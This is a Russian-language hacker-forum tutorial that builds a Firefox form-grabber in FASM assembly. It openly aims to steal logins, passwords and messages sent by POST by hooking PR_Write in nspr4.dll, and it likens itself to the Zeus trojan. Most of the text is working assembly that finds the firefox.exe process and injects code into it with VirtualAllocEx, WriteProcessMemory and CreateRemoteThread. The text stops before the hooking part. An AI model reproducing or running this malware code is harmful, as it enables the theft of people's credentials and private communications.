Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.
перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы
by black ninja.
1)Инжект своего кода в исполняемый процесс.
2)Cплайсинг API.
3)И программирование в стиле шелл код.(т.е. с дельта смещением)
Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на
, поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
Начнём с зад... извините, с конца, как принято. =)
Код:
p_ent PROCESSENTRY32
find_target:
xor esi,esi
.shot:
mov [p_ent.dwSize],sizeof.PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов.
inc eax
je .not_found
dec eax
xchg eax,edi
invoke Process32First,edi,p_ent ; <<< Берём первый процесс из списка.
; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>>
.next_prc:
xchg eax,ecx
jecxz .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found
invoke lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe".
xchg eax,ecx
jecxz .found ; <<< Если нашли прыгаем на метку .found
invoke Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка.
jmp .next_prc
.found: ; <<< Вот она Лиса.
invoke CloseHandle,edi ; <<< Закрываем хэндл.
mov eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax.
ret
.not_found: ; <<< FF не найдена.
xor eax,eax ; <<< Обнуляем результат выполнения.
ret
; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>>
; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>>
inject_code:
xor esi,esi
invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF.
xchg eax,ecx
jecxz .exit ; <<< Если ошибка то выходим.
xchg ecx,edi ; <<< Хэндл процесса перемещается в edi.
invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе.
xchg eax,ecx
jecxz .close_h ; <<< Если неудача то закрываем хэндл.
xchg ecx,ebp ; <<< Хэндл странички перемещается в ebp.
invoke WriteProcessMemory,edi,ebp,remote_thread,thread_en d-remote_thread,esi; <<< Пишем наш код на выделеную страничку.
;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец.
dec eax
test eax,eax
jnz .close_h ; <<< Если неудача то закрываем хэндл.
inc eax
invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe
.close_h:
invoke CloseHandle,edi ; <<< Освобождаем хэндл процесса.
.exit:
ret
; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>>
start: ; <<< Именно здесь начинает выполняться программа.
call find_target ; <<< Активизируем поиск процесса FF
test eax,eax
je .exit ; <<< Не нашли -> Выходим.
call inject_code; <<< Инжектимся в процесс FF.
.exit:
push 0
call [ExitProcess]; <<< The End... No!!! To be continue.